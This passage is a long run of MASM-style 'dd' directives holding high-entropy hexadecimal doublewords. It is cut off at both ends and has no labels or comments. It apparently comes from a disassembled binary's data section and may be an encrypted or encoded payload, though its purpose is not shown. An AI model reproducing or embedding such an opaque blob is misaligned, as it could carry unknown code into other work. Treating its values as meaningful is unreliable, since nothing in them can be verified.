563731A8h, 608D8D7Bh dd 0DDF4ACF8h, 0A93EA5F3h, 1CBB0C2Bh, 0D46A6654h, 5C0E3B9Dh dd 613C85BBh, 0EF3DF588h, 0B5861039h, 0AEB4EE05h, 5C3ADDA3h dd 48D2A3BBh, 0F13BC5A6h, 0F9BB181Eh, 74BF1516h, 5B35517Eh dd 6E1DADC9h, 5C079C62h, 0E7902FBBh, 0BAC43A50h, 76DDD355h dd 60B180CEh, 9194D69h, 0E2EDAF46h, 0A90CD48Ah, 51AA4736h dd 27DB6837h, 0A4029B38h, 66B741E1h, 5F7D4946h, 5C0BA7C9h dd 0A5D5FABBh, 0DFDBB8A0h, 333E0D86h, 773C8DF8h, 4DDB1830h dd 608FE4B6h, 50F7C473h, 0EF906959h, 5C0E39BBh, 330EB7BBh dd 0B863D250h, 0D9125B52h, 834BDA04h, 41135283h, 0E25C2A6Dh dd 0E3D6018Fh, 35E54F05h, 0FD7F41E1h, 9A694C4Bh, 40F2F155h dd 0D08A8746h, 5C3AD241h, 2AC081BBh, 976F6654h, 907B73D5h dd 278A8737h, 708A0D90h, 62ACBB09h, 81C6EB4Eh, 0DD166A7Dh dd 0D195F820h, 5C3AFF91h, 0E33731BBh, 563731B9h, 0C346DB2Ah dd 2A87692Bh, 4D376959h, 1CBB3B7Ah, 0A37FDC8Fh, 0BF1B23E1h dd 0EAB4616Ch, 2EEF989h, 6045C0E6h dd 4CDA6959h, 4D08EBB5h, 0B3A26959h, 532C6A18h, 1C6C2C1Dh dd 67C8C0EBh, 0E3EA5776h, 0F6026625h, 0A28A8746h, 3751168Ch dd 0C9ADD596h, 61277E14h, 0D8EFB6DCh, 0D7542228h, 5C0D5E82h dd 7A3582BBh, 5C079106h, 0B2542BBBh, 2AB7C864h, 0D2F17BFAh dd 0A37F5676h, 612609E1h, 8C1B3D5Bh, 563731B8h, 39F779FEh dd 5C0A6CFFh, 0F7FBC4BBh, 7791FF84h, 88C87376h, 60E183A3h dd 0AC46FFE0h, 5E775B77h, 9EF9EABDh, 864EF2A3h, 0C59300F5h dd 0A37F4080h, 360A583Dh, 0AB47DB8Ch, 2DDA5B7Eh, 51A0BB06h dd 668A8746h, 0A71B1A40h, 0A079F820h, 33EC8B5h, 0A7B12C25h dd 9113074Ch, 0E16C7743h, 1583F5F3h, 56374C25h, 0E78FBD8Eh dd 0A2F08B09h, 168A8737h, 0FDEBA950h, 605FE3D3h, 687F6959h dd 1A507182h, 422E59C7h, 21B690h, 56374C5Ch, 0E230CCC7h dd 568A8737h, 0B3057790h, 37B3AAC6h, 0CAAF2394h, 0ED5A1DEBh dd 36A0C59Dh, 572054E5h, 599D4B7Dh, 122217B8h, 51C08FD7h dd 9D742D54h, 6939674Dh, 52AF2FC7h, 429150F4h, 0B046545h dd 0F1598DAEh, 0FE3B01B2h, 0BBD9A610h, 0ED908D8Fh, 59B0A580h dd 57A57E91h, 74C35106h, 0C4D20A45h, 0A40FB927h, 0E38D41E1h dd 0F99AEA25h, 81F66D8Ah, 5C07B327h, 9B0C46BBh, 646A383Eh dd 9EF032E2h, 66D53598h, 0D67B2F9h, 0CC2A350Bh, 6E532A16h dd 0BB4C99A0h, 640A9BA2h, 1D81818h, 602BB0h, 85E4B5CAh dd 5CBD8E2Ch, 0B4ACB5BBh, 7456C219h, 1389430h, 4D6290B9h dd 0DAD40259h, 0F99AEA25h, 604CBFD7h, 4DDB6959h, 1A2BB6B6h dd 0A626F4B8h, 0A93B52FFh, 42964DC2h, 8293BA9Ch, 1F2E67E1h dd 87AFFBF7h, 8013A760h, 2EAC5B6Eh, 582E67E1h, 0F5E31A25h dd 71E08E16h, 627AEAAAh, 375A7AB2h, 0BF0C7254h, 56F0B1A5h dd 0D4D1C00Eh, 7706DD00h, 53F21Ch, 67A8E4C2h, 1BB96A9Ah dd 0C31309C5h, 15D76C65h, 9D2CA1C3h, 44FC0BBh, 0DE29FDE7h dd 0A434082Eh, 0CFE41E1h, 27C88845h, 56372DF0h, 0A4AD35D2h dd 0F3B4F0A1h, 0A37F4091h, 590B5DA4h, 604D8E71h, 36926959h dd 0ED7E5889h, 56372DF1h, 0D6EF36D1h, 503F90D2h, 0F46A21A9h dd 9D8A171Dh, 0A4413BF3h, 5669BFF6h, 0C2B1E55Ch, 621DD355h dd 0C413130Eh, 0A11001CEh, 90341E1h, 0ED116044h, 5C0D34A0h dd 6023BCBBh, 6E1B2C4Ah, 5C079C62h, 0BC0F2FBBh, 7A999D5Ah dd 93BC9662h, 0A0C0C1A7h, 3383D5Bh, 51AAEE25h, 27DB6837h dd 0A40D9B38h, 66B741E1h, 5F448744h, 5C0BA7C9h, 449499BBh dd 563731BCh, 162478B6h, 0F7E47CDEh, 7642CF8h, 14E1ABD8h dd 0F0E75CAAh, 0EF383E55h, 710C3D39h, 9E0C11A2h, 1C8472BFh dd 56F9D354h, 239B92D3h, 987A4835h, 5AFA9EA7h, 0A37F3F4Fh dd 0DAC2BB1Bh, 0BFEFF82Bh, 5C07C46Bh, 86DD07BBh, 0E81F5252h dd 976F6655h, 0A0BB142Bh, 7D1C818Ah, 6124366Dh, 0F4626959h dd 2AB9A61Dh, 2526959h, 0E271B97Eh, 0FB782629h, 5C07CA9Eh dd 0A70056BBh, 42A36669h, 33EC8B5h, 920C6125h, 40D39F68h dd 5C0E44D0h, 0EF7071BBh, 4049B78Ah, 0CE055C6Fh, 2B210442h dd 0A2BFE342h, 7FACBA03h, 989224C1h, 0F468A127h, 499D4C8h dd 0DD8DAF0Eh, 2AB7C776h, 0D2F17BFAh, 0A378A376h, 612609E1h dd 8C1B3D5Bh, 563731B8h, 5FD8FE2Bh, 7346FFE0h, 1C7A144Eh dd 0A4843E3Ah, 900B0938h, 0B768DE4Bh, 5F6C6655h, 6B337F71h dd 0FCDB558Fh, 0A3787B88h, 61D923E1h, 8C1B3D5Bh, 563731B8h dd 9A1D354Bh, 0A77430E5h, 44C3F820h, 9CB903A7h, 80D67208h dd 579FE19h, 6058C0E6h, 0F3E16959h, 22DD742Dh, 9B1AFC36h dd 579FD28h, 64519DDDh, 863FB47Dh, 45FC6D9Ah, 5CE4A60h dd 0B995221Dh, 49D0D61Ah, 0D384CE9Eh, 5CB265A7h, 3B95BBBBh dd 25521EFh, 0A857170Eh, 77006959h, 0D86597C8h, 0A37E32A6h dd 0D54AB6E1h, 0BAB29D58h, 213D7791h, 56374B7Ah, 11E4B5C9h dd 0CC286BBBh, 56374DD3h, 5C079614h, 2AEC07BBh, 1D776959h dd 8F8A8746h, 96372EECh, 0EC93B232h, 0B8AD1F8h, 35233598h dd 4520C3Dh, 6A28578Ah, 0F3414049h, 94CA8746h, 10A611EFh dd 51042287h, 0A375C96Ch, 1597E1E7h, 8311E643h, 40576A43h dd 0B66E6741h, 4432BDB1h, 6FBE90F9h, 0CF4D80h, 0BFEFF82Bh dd 4EDEC6B0h, 2C1F73B8h, 0BC18B634h, 0B68B0852h, 65F696C6h dd 0F906FFACh, 0E22E5F26h, 39C32B0Fh, 0A3713852h, 0FD5570E1h dd 73194AAh, 0AC79288Eh, 556E9Ch, 0FA3EC597h, 0BBB9899Fh dd 0E6002C57h, 93303676h, 0E6002C57h, 0B325E61h, 0BF35FDBBh dd 0BB5850FFh, 6A8FD47h, 0C97127D7h, 0A54FE5E9h, 3D0752FFh dd 0A34FB5FFh, 392B50FFh, 917F6CFFh, 0D8FBC492h, 33E0FAD0h dd 0EB37B5D5h, 0E419FCAAh, 283F0866h, 0EE1973CDh, 13EDE8D4h dd 4D0424A8h, 0E8B56959h, 402F9CF9h, 0C6DD0CDCh, 3C8C900Bh dd 5669B624h, 3B70E4E5h, 0A139AC8Fh, 0FC54A08Dh, 0A701B01Bh dd 17BC37D8h, 78234117h, 55605633h, 5CBA2F2Fh, 961433BBh dd 0D8EFB6DDh, 0C5952228h, 53E070CEh, 0D647B0ABh, 2E2CCF63h dd 0F5CD0508h, 4D5A950h, 579541D6h, 0BC37373Dh, 0F9EDF5D7h dd 929927B9h, 18B88992h, 0B866ED9h, 0D57CE0EBh, 0EC26DCh dd 0EEA500AAh, 47C250AAh, 53E8AFABh, 0EE8A873Dh, 0E117AE08h dd 638A873Eh, 2A239EABh, 0EEF2F154h, 0BE2067E2h, 95696830h dd 0D69F2A65h, 0A3AE3426h, 0D858F93Ch, 0E04A0DFAh, 9A153442h dd 6A20464Ch, 7557F603h, 3CBD194Bh, 92EC44E4h, 9DE0D092h dd 342A0B45h, 0EEB479BCh, 941C3BAAh, 0FE363E42h, 1EC5EC35h dd 8D1AB118h, 0EDC749Ch, 0E0A099C7h, 0C1C2C2CAh, 69205113h dd 1B654DE1h, 0DB63A5C1h, 0A37B96D9h, 0BF46CE1h, 1880E1C5h dd 61CB84F9h, 3FEABBCFh, 2D71DED2h, 4E218ADAh, 0A17AA592h dd 7BB4F0A1h, 0A17AA592h, 0E277423Ch, 9173B5F8h, 49E450FFh dd 0EBD959F2h, 0A6240197h, 0A05E52FFh, 3F1274ADh, 7BFD7343h dd 0A407EAAAh, 0AAB750FFh, 4CE72DAh, 703ED380h, 33A59927h dd 86888B40h, 37105B1Ch, 0C69295C9h, 0E493D0F6h, 0B93C67BCh dd 0A37246D7h, 0FA44DCE1h, 28B570B6h, 0FF5DF489h, 245A8AB8h dd 0DD41CEE2h, 0FE38184Bh, 0F289D003h, 0ABCDC1B1h, 0F289D003h dd 53E094CCh, 89F9646Fh, 0F87450FFh, 25C2BCE3h, 56374B76h dd 193067DCh, 1C9EC39Bh, 462B6CB4h, 0D9B74A60h, 8020668Bh dd 0F7FBB1F1h, 7CEDBFB3h, 917F491Dh, 79D60C92h, 8CB1853Ch dd 3DEF9D63h, 0C2CA079Fh, 84915B11h, 631D50FFh, 0E1750260h dd 0E69B3A62h, 8C69D862h, 7C2E6681h, 990F0DA6h, 0B0A8EA2Eh dd 0C511CCFAh, 83C3C4D6h, 7227C58Bh, 736CCC4Fh, 9BC63B23h dd 10DF45E3h, 1E28F42Eh, 34F37123h, 1BEE30B0h, 0B6ED3D71h dd 0CE9F3C7Fh, 7BD216A5h, 6FFFDAD5h, 687F569Fh, 0D329580Bh dd 2F336858h, 437D81E5h, 2FB9E9CDh, 0EC902EC2h, 29E381E5h dd 0FDA1D095h, 29A512DEh, 249CB5C3h, 984AB9Dh, 0C0A39ADAh dd 0C1C1C2Eh, 5B0BCE5Fh, 8A6C645Ah, 5CB45AD4h, 0A0E653EEh dd 8D4B425Bh, 6F52ADAAh, 32F0FF04h, 0A6738C8Fh, 507F41E1h dd 83D39A2h, 0A318112Eh, 6520C44h, 4969642Dh, 35CEE4Ah dd 49686512h, 45CEE4Ah, 0A61B6613h, 65F0B4Bh, 37B6642Dh dd 0DDF1620Ah, 0A37F1A7Eh, 0CBE33AFCh, 0C964748Dh, 74B5h dd 0CC7F3F71h, 0C9367495h, 0A7A6C2EFh, 267F41E1h, 586015D7h dd 7063BC9Dh, 7C2ED79Dh dd 0DEFFA6E5h, 0A5DE87B0h, 5AD7E933h, 0DF902EC4h, 25E46123h dd 1357FC23h, 5F805114h, 7A676262h, 25B17EF3h, 0DC74A9E4h dd 70198499h, 0A7ACC59Dh, 0EB7F41E1h, 0A37882E0h, 0CDC30C0Ah dd 4C079ADAh, 88348A5Ah, 1E85984Ch, 0A37F14BCh, 0A7A5C2E1h dd 0CA7F41E1h, 23647495h, 0C90F7495h, 0A83BC2C2h, 247F41E1h dd 0A37F1322h, 88D498E1h, 865E3855h, 75243FF4h, 670A1FBBh dd 0A7E6E15Ah, 10A587BEh, 3E69E606h, 9E1C58Ah, 0C91DB5DFh dd 31C04D16h, 9C479D8Ah, 44E6E18Ah, 2048020Bh, 491B74CEh dd 0A260EE42h, 2C7F41E1h, 31222D06h, 0CF2D38Ah, 8E6E18Ch dd 0E7F3F6Fh, 30705836h, 0BCF2D38Ah, 0A4E6E19Fh, 417F41E1h dd 0BB621162h, 0A37FF1EBh, 84E3FEE1h, 2565B673h, 237D619Fh dd 64F03D5Fh, 0F551B81h, 8FE3BB7Ch, 31E7DD16h, 0FC726F8Ah dd 0A3E6E1AAh, 31D1491Fh, 13E1C08Ah, 2F888A6Fh, 0D47540E1h dd 0FE6E073h, 48962A21h, 0FA6E02E8h, 34C55F36h, 2A50A3D7h dd 79C5C96Ch, 983D1D2Eh, 3C782B59h, 8B7392B7h, 0FF5AA2BEh dd 86C95C4Bh, 68441E95h, 30FF4C79h, 0F4C96795h, 0E4C286B1h dd 8AA83A08h, 0F146FBF9h, 87DE195Dh, 7849DEA0h, 2A83E44Bh dd 7BF73275h, 70E69FCCh, 93366E54h, 34DEF101h, 9AA0229Fh dd 0B8ECDDFAh, 9A629C5Bh, 0D6BF80A7h, 0AFFB974Bh, 76515CE8h dd 0A4811A80h, 0A118F826h, 93003C8Dh, 0A141AE9Fh, 0A38938A3h dd 0BE8AAF0Eh, 376567B6h, 8841B79Bh, 0FBCEAE9Fh, 884C504Ah dd 736ABB16h, 0ABD30649h, 3BEF64A2h, 7555CCE7h, 0DD9F966Eh dd 0BBE35274h, 884F5EE7h, 275899Fh, 14E34AB6h, 94F2EB5Ch dd 0D569F2FCh, 0A44E8316h, 3B8F0649h, 1C424EF6h, 0C9CDD25Ah dd 67C42101h, 43BD8C6Ch, 0A3C1FE0Dh, 12F2343Eh, 8841AD71h dd 0B93A2E6Dh, 0C94B857Bh, 77A3B25Bh, 2B4B281Fh, 2D750301h dd 92033595h, 98C57F94h, 0CEECAEE4h, 0A38C2797h, 0A6387E40h dd 0F5EF256Fh, 5C872835h, 0ED371CC2h, 0BA2A625Dh, 0AE397920h dd 0CDE4F606h, 0A662559Dh, 9894966Fh, 6AD74E68h, 0AB3F4E6Fh dd 32A6ACC2h, 650FF01Fh, 8FBBBAC2h, 0A63F4EFBh, 0C967E46Fh dd 0EDA873AEh, 39BA0BCDh, 63CC62E9h, 9FE59EE8h, 0A9B89B4Dh dd 5D94D019h, 8DA3CD9Fh, 0A63F4E60h, 0A25E57A1h, 9CB742E3h dd 0CCF138FAh, 0C8E3B482h, 9253076Dh, 0C03656A3h, 0B01D4699h dd 0CBCFF874h, 22804F47h, 0A63F4E30h, 95F0CC76h, 0A63F4F07h dd 0A5B49EC6h, 0DBF88688h, 83FE9035h, 0F804A9FDh, 0F5339DB7h dd 71662D08h, 0DFD918F0h, 662D0A97h, 300E34FEh, 0FBF919C2h dd 0AA527608h, 0B052263Bh, 0C14E308Ah, 52D1B165h, 0C14E2F47h dd 0C14E2F40h, 1E1AE040h, 0C6E2F47h, 0C0110559h, 2E151AC6h dd 184EFE5Bh, 7B5EC30Eh, 0A0DD68Ah, 0B7EC901Ch, 0CF9D5760h dd 0DC8886DFh, 0E69C5714h, 8BAEFB4Dh, 804854Eh, 0A22EF110h dd 96A9A9D5h, 9588343h, 0A85BE9E8h, 9135F775h, 0C1FF591Fh dd 94B92864h, 2D11BBCEh, 74C1E683h, 33B035A2h, 434A3815h dd 427A7C9Eh, 4B05B0BCh, 76623240h, 73D01447h, 387FDD88h dd 12A9DD8Fh, 32311049h, 79BFD5D3h, 59ADFB32h, 929033BDh dd 4FBC83E4h, 7E462FB5h, 28D32173h, 9D2C309h, 0A925F89Ah dd 0B3F587Ah, 0C378ED2Bh, 19FC9ACh, 0AAC22823h, 44FD3DC9h dd 2DA6F8A9h, 42DAFCBEh, 573F52Eh, 0F80C12ACh, 3A316768h dd 2F08389Eh, 0CBF7D2E0h, 1833754h, 0CB8762DBh, 940AFFB9h dd 80E7C6D4h, 0AE4E2F47h, 0DD89F481h, 0A5BC4303h, 2BE067A0h dd 0B2D138ABh, 6D0D4178h, 5DF9AA02h, 0C50CC6D4h, 454E2F40h dd 0DF90876Ch, 32FB05E7h, 4D240281h, 1DAEE0E6h, 84245A4Bh dd 7D2EB2A5h, 3B47417Fh, 505711ACh, 0DF907F89h, 8CE69368h dd 85254952h, 66823072h, 0CD6012B3h, 0ED627F3Fh, 0AB5D3ACEh dd 3E021A77h, 63513BD9h, 7822E0C5h, 0E5C5B6ABh, 9F790965h dd 34FF07A1h, 60D6993h, 7E3168C2h, 0E850D68Eh, 9E06CA1Fh dd 0AB2EB9CBh, 82433015h, 0FCD8CB2Bh, 0C14A5DBEh, 55206E26h dd 0E54D10A4h, 0E0D8EA1Dh, 0D2DEC7A8h, 14CD8D1Eh, 9F6D5EAAh dd 0CB829B57h, 51E02DC7h, 85F113C2h, 59731132h, 3D569F89h dd 0F0279E7Eh, 436CA7EDh, 86CDA029h, 6BDC2891h, 8E6BF723h dd 1AB34FE5h, 119DA030h, 4BCB8F61h, 3B14D75Fh, 6BECDFEBh dd 2D8C2F40h, 5B60C502h, 0CD2A37B4h, 48288860h, 0EC0633BCh dd 0A9BAB645h, 0E6EB4D73h, 9212B5BDh, 0F1DE9671h, 1DD348BFh dd 54A44FBEh, 71D46EAEh, 1E631DE7h, 33F4D338h, 91748615h dd 1AFFD27Eh, 51311049h, 0FEFE6833h, 294F80A3h, 0A0B1A6A1h dd 0D421BDE5h, 1833E9Ch, 0B981944h, 3B0AE4F3h, 0C14B53EBh dd 2C202F40h, 0CFDC728h, 0A776174Fh, 0CCAC43Bh, 5FF166A1h dd 0A50721A5h, 7AB2FB3Ah, 17A44B11h, 33118A36h, 229CADFAh dd 0ED57D68Dh, 9C132D64h, 92C5163Dh, 9A588750h, 0BCC8FEAEh dd 0C330AFC2h, 6A9F891h, 3BFA78ACh, 0FC87A315h, 0F1F2830Eh dd 788C4F7Bh, 4757F271h, 0EC74299Bh, 450349Ch, 0CCA2F00h dd 0B9A10559h, 59D9B775h, 0D26C05CAh, 0C1548E32h, 52A4C340h dd 51297B47h, 2B563745h, 0F65873F9h, 84411A75h, 3165C827h dd 164EEF77h, 644EF4A8h, 5F4E1792h, 792721A5h, 2F6E34DAh dd 0AC9525ABh, 8F56EE0h, 1F4E2F40h, 0D84A876Ch, 8CC18903h dd 0B4891AE1h, 61B3380Fh, 349546C6h, 9F20F415h, 0C1888899h dd 0C4F3EACCh, 0E5AEC6A4h, 0F2B11151h, 7AA4B7A3h, 704D14A2h dd 26D7C32Ch, 1A2AED5Dh, 0ED4BD339h, 0C14A5868h, 448242D0h dd 66D6D69h, 0A9967B65h, 2BF62B1Fh, 0DCFC8DEDh, 2C5C6D4Ch dd 0A825F89Ah, 920BD566h, 10A816D2h, 32FF484Ch, 0C9CD95C4h dd 0CB28596Dh, 38F64F51h, 0DC047FB6h, 0F5CEBF4Ch, 0F1CC987Eh dd 4518DC00h, 0DFE69B0Bh, 0D58F9D1Ch, 0B911B05Ch, 0C34E4A3Fh dd 0E84F2A7h, 995A6467h, 0CE4E3483h, 0B10AC63Fh, 80FB0F8Fh dd 2B563745h, 0F7F835B6h, 3CB6A99Fh, 3D932C46h, 0ED411ACh dd 0A42E5FFBh, 920329D1h, 91D42E55h, 855C3A1Fh, 0F1F84968h dd 92059CF6h, 91D42E55h, 0AA783A1Fh, 7035DC5h, 8727AB67h dd 0FDDC096Bh, 0D305EB48h, 0FE38D91Bh, 0BA86075Eh, 43C5C2Fh dd 0DB590560h, 18253067h, 1EA24A6Dh, 2C5B4B60h, 84ECB328h dd 10158CA6h, 5A865170h, 0DD78ABDAh, 0CFB55630h, 0B12EE215h dd 0DF4E4A2Eh, 0EEBE294h, 4C085684h, 0CD74CFBCh, 0C14E30A9h dd 538292F0h, 0FA158CA6h, 0E4096099h, 53C42288h, 0F9285D59h dd 100AE294h, 9486D269h, 0A411BBCEh, 146D2CB0h, 7E26B7FDh dd 40854BEBh, 0A7347D3Ch, 1A9186E4h, 0A2FA7F46h, 1A9287D7h dd 99FA7F46h, 1187888Eh, 0A72A5C45h, 3A0C86E4h, 0C14A5909h dd 384FA5F7h, 0C14A5983h, 0FDA70040h, 4539016Eh, 0C14A537Dh dd 1E61D840h, 0A24E2F47h, 9A866C84h, 0B26745Ch, 64EB0345h dd 0FE6D6E51h, 7DB564C9h, 0EFB993BEh, 924DBA15h, 2CF2D961h dd 9349AA49h, 3002DAE0h, 394A53FEh, 0C26419E8h, 384F75F7h dd 0C56E6B5Bh, 7B872F40h, 0C14B859Fh, 0BD125840h, 16FD418h dd 0C26896D5h, 488075F3h, 0CE65599Bh, 0DEE42BB5h, 0C14E30A3h dd 0AE401B97h, 93944740h, 3718BD32h, 6CBE848h, 62B77105h dd 0E11A815Dh, 541DB840h, 89C75126h, 35CF590Dh, 75C5F2D2h dd 0D85B59F1h, 43D70FA0h, 6532788Ah, 0DE337348h, 3FD409BBh dd 1A75B1Ch, 0A6B00EB7h dd 0BDF50B0Bh, 1AB92A52h, 61A2B4C7h, 0C14A5CEFh, 0AFB30C40h dd 0CC944035h, 3B0BBFF8h, 0C83DFBCAh, 7569DAC9h, 0C14A5CEFh dd 0A3E91840h, 8F247B9Fh, 29548658h, 6D2722FBh, 7AFA2220h dd 54620E6Ch, 1A867C1Ah, 2134015Eh, 2B4C1186h, 0F6C98BA4h dd 18B0D988h, 478F847Ah, 75F32F47h, 1A875846h, 0F160D988h dd 0C14B847Ah, 6BEC2F40h, 0C56EDF79h, 62AE2F40h, 46CC1094h dd 5ECB4CBBh, 0C17A4CBBh, 348D2F40h, 36ECB194h, 0C12DADB2h dd 75F70676h, 1A8076C2h, 7B5C540h, 6BE1847Bh, 0C56EE052h dd 0BAE2F40h, 0ECC2B94h, 5ECB4CBBh, 0C1514CBBh, 35882F40h dd 0DDFC6C94h, 21CDA573h, 0E5DCD366h, 434C11B9h, 744792FCh dd 1A876976h, 0C14A5BA6h, 616C4740h, 9DC6375Bh, 14A59014h dd 5FFFDF09h, 69D82E47h, 0BE4C11AEh, 9818B480h, 7E476B75h dd 63AB30D5h, 2F3AB1ECh, 0AF4D6445h, 376779EBh, 0A42E0BBh dd 507AFF8Bh, 0FEFDF80Bh, 0CD3B7C90h, 476EEE78h, 0DEFDF734h dd 695E205Bh, 0B6941F68h, 4D6574ACh, 77A4C831h, 0AE4374A0h dd 0E288C8BCh, 53012578h, 0BB13F711h, 0C5CFF74Ch, 0DB385A7Eh dd 95EF738h, 0B6896F68h, 0DEF793C0h, 0F3E15D39h, 0ED6C5402h dd 7A1AD65Ah, 939CF700h, 326C5421h, 7C57284h, 5F8DF621h dd 20F0084h, 0A3E24421h, 0EB6C5872h, 0BAC1B733h, 0D57CF68Fh dd 5E6C543Ah, 0DEFDF752h, 2 dup(0DEFDF739h), 548F3139h dd 0DFD67A31h, 645B74A0h, 0FE888DABh, 0B7E24836h, 5C6D8133h dd 43EEC8CBh, 0B6F08474h, 640B64ACh, 43BA8DABh, 0E7B84618h dd 0ADC20726h, 5BFDFB44h, 6534D0B4h, 0B7EF7A20h, 446D8133h dd 6534EC5Ch, 476EF720h, 0DEFDF72Eh, 0C44821A0h, 36FDF739h dd 0DEFB07F7h, 0DEFDF739h, 5C27F739h, 0FE8E58FDh, 0CFE2483Ah dd 326D8133h, 65F773B4h, 0A7E24420h, 0E8155ABFh, 5CD88109h dd 6534D084h, 0DB166120h, 645B74BAh, 0E8888DABh, 645B74A0h dd 0DEB48DABh, 0FEFDF739h, 64B064A1h, 43EE8DABh, 0B6F74F9Bh dd 0DDD774ACh, 2888C8BCh, 29E249EDh, 326D8132h, 65F734B4h dd 0A7E24420h, 0E8155ABFh, 438F8109h, 0B6F74F87h, 0CE977A52h dd 0B86D814Ch, 0C4BEE29Eh, 4FBD7A31h, 64251412h, 35888DABh dd 0CE9CEF8Dh, 0ED6D814Ch, 5C367ABBh, 0A2108CC2h, 0B6F74F9Bh dd 64202C12h, 43FB8DABh, 5CD0F660h, 65F74B7Ch, 0C3F17A20h dd 65F73054h, 0BAA17220h, 0A74925BBh, 0DB397336h, 0C41FF739h dd 0E7587C36h, 58AF626h, 0E75B00C1h, 0B810B926h, 0E8A43C84h dd 0DDA45626h, 0B8CA0E36h, 0C593EFBAh, 65F73584h, 0CAE24820h dd 5C6D8133h, 5B7A7A41h, 29B79F78h, 0DB6D8132h, 0B86AE739h dd 0DEFDFC84h, 92726039h, 0DB6BECE4h, 0DB152839h, 0D550F739h dd 275F9C23h, 4B82F711h, 0B6F082B6h, 0DD16F792h, 5C1CBFBAh dd 0CC96934Bh, 0B6560AB8h, 0DEFE2E85h, 29B7A039h, 0DB6D8132h dd 0B86AE739h, 0DEFDFC84h, 0DC726039h, 275BECE4h, 0DB152811h dd 0D550F739h, 0E75F9C20h, 0E724F8A6h, 44BDF739h, 0E6461D39h dd 0DEFDF3B9h, 0DBCA7336h, 4B90F739h, 0B6F082B6h, 9B6DF739h dd 0DB3A7336h, 0E30CF739h, 5BFDF8E6h, 0FEFDF391h, 0DD1C7252h dd 8BE24376h, 366D8133h, 2D4D884h, 15E24421h, 366D8132h dd 1F7B484h, 6E24421h, 366D8133h, 2639484h, 0BABA4421h dd 796D815Fh, 0C3764C11h, 0BEFDF739h, 368962BDh, 3E139355h dd 6C1394EDh, 0F9FDF739h, 90E22F95h, 0D8CD597Eh, 3EC2A037h dd 596A6E6Eh, 26E70ACh, 0CA156921h, 0DEFDF4DAh, 848A9739h dd 24EF48BCh, 23D0A02Dh, 0DEF78C2Dh, 84B2BC39h, 4388C021h dd 0B68AAAECh, 942B7C6Eh, 5177C8BCh, 386EF711h, 0DEFDF8F7h dd 0E78AF072h, 385CC8BCh, 0B68A8C10h, 0DEFDF739h, 0FFBCF75Bh dd 0DEFDF712h, 565999h, 0C70157A1h, 0C733AFB8h, 0DEFDF9CFh dd 0C9574DC4h, 4BEE3BC6h, 0B68AC248h, 15A12C26h, 0E7C1C8BCh dd 0DB1701E3h, 0A91DF739h, 0D4EC5953h, 490F48Eh, 0DB65F48Eh dd 0D5D7F739h, 0C727E53h, 0E596C4E6h, 2252DDFFh, 976D2CBAh dd 0AA4C8BCh, 0B68AC2B0h, 0FFDAF75Bh, 0DEFDF712h, 0AC0A4799h dd 0C70147A1h, 0C733AFB8h, 0DEFDF8F0h, 1A5033D2h, 40336141h dd 17EA477Bh, 796C5509h, 6D7CF611h, 5C6C56C8h, 8B46DA51h dd 1E488C26h, 2E7E3483h, 5B12110Eh, 5FCFFDA8h, 8821ED73h dd 0AED38D93h, 0B6621590h, 8 dup(0B55A90D0h), 4 dup(0B66E63A8h) dd 0B66BABA8h, 0B66EE0F4h, 2 dup(0C6A96119h), 372A4D91h dd 37F390D0h, 0B66E63A8h, 0B66211A8h, 0B6611E74h, 0B66E6769h dd 0C6A96119h, 1CB51E74h, 4E2A1299h, 0B6F215BBh, 0DFAA90D0h dd 37F390D0h, 0C6A961F1h, 0B66E6074h, 2 dup(2E6E63A8h) dd 0B66B90D0h, 0E0EE63A8h, 37F390D0h, 0B66E6750h, 0B67390D0h dd 37F390D0h, 2 dup(0B66E63A8h), 2 dup(37F390D0h), 37F38F28h dd 2 dup(37F390D0h), 2E6B90D0h, 0B72A4D99h, 2E6E63A8h dd 2 dup(1CB51E74h), 2 dup(37F390D0h), 0DFD1E3A8h, 37D1E3A8h dd 37F390D0h, 37F390A8h, 0ED290D0h, 0B66E63A8h, 5FF38F28h dd 37F390D0h, 5FF390D0h, 37F390D0h, 37F38F28h, 0B7F390D0h dd 1D3CD43Eh, 49E06D14h, 0B3D441F8h, 0B66E63A8h, 0E06767E7h dd 0B6AE607Eh, 0B6AE5DFAh, 2Bh dup(0B66E63A8h), 0DE4E23B1h dd 0B3C9F4A8h, 7D6E63A8h, 57FC1501h, 698F3862h, 568FCF1Dh dd 0B66E6769h, 0F19A71A8h, 317731FEh, 0B66E63AFh, 4997ADEFh dd 0DE4D3862h, 3F6163A8h, 2D6E63A8h, 5682F71Dh, 32F0F769h dd 97ED70C8h, 0E0931FD8h, 0B66F05B0h, 0C30F92A8h, 0B66E6555h dd 0D3CE90A8h, 55427200h, 49B554BBh, 32FC3862h, 97EC6E10h dd 159DA4CDh, 60F420BCh, 36621BFDh, 0CC622AFDh, 0B04A0732h dd 0DE76E403h, 0DFA9E357h, 0F20C63A8h, 0F20812ECh, 0F20C65F5h dd 976110F6h, 366E63A8h, 366E65FDh, 786E66FDh, 0AB761B5Dh dd 3AF620DFh, 0AF7EAA5Ch, 0DD3C7D57h, 0AF4FBAC2h, 0CC7464D0h dd 0DEBD33A9h, 0B66FEF25h, 5F8563A8h, 56E282C5h, 17D6B469h dd 0DB427207h, 0E08D00CBh, 94F338CDh, 0E06E63A8h, 93F1E8E9h dd 0E0649157h, 0C7EE67E7h, 0ABF3366Bh, 0FA6E63A9h, 0EACE370Fh dd 366E63A8h, 0C3621975h, 0E0674C35h, 0BAE5E8E7h, 0C58C51A8h dd 8ACE36A9h, 786E63A8h, 75641B5Dh, 0AE64645Dh, 0E06767EAh dd 0B3668C28h, 0DA7AEDDEh, 31776EACh, 0E067657Ah, 0B360E428h dd 0B19BAC57h, 0BEE67E7h, 0F20810F6h, 7C6110FAh, 146766FFh dd 55CC35D5h, 0AFA678F6h, 31703BD0h, 0B66E68F3h, 0DD3C7D57h dd 0AF4FBAC2h, 85F27D57h, 0C04FAB8Fh, 0DF994E29h, 0B26163A8h dd 0C36E63A8h, 0D06A3F2Eh, 0B66FEF25h, 5F8563A8h, 56E29AC5h dd 17D6B469h, 0DB4272FEh, 0E086BAB7h, 3333BBCDh, 0CA2A12E1h dd 0D939A7FAh, 9BFD0A32h, 0BE868F50h, 0B63EE357h, 5AF363A8h dd 958C4D5Ch, 55BD36A9h, 23F351F6h, 0B99E8F43h, 23F0A3EBh dd 0B868E766h, 33337D57h, 0EA7763FAh, 0AED91A5Dh, 0B362929Eh dd 0E0E2E357h, 0C18163A8h, 0B6612734h, 3177D0A8h, 0B66E6809h dd 0B364E428h, 0DFCCAC57h, 43EE63A8h, 5A7768D3h, 0B66E63B4h dd 0DC73EDDEh, 0DA73EC28h, 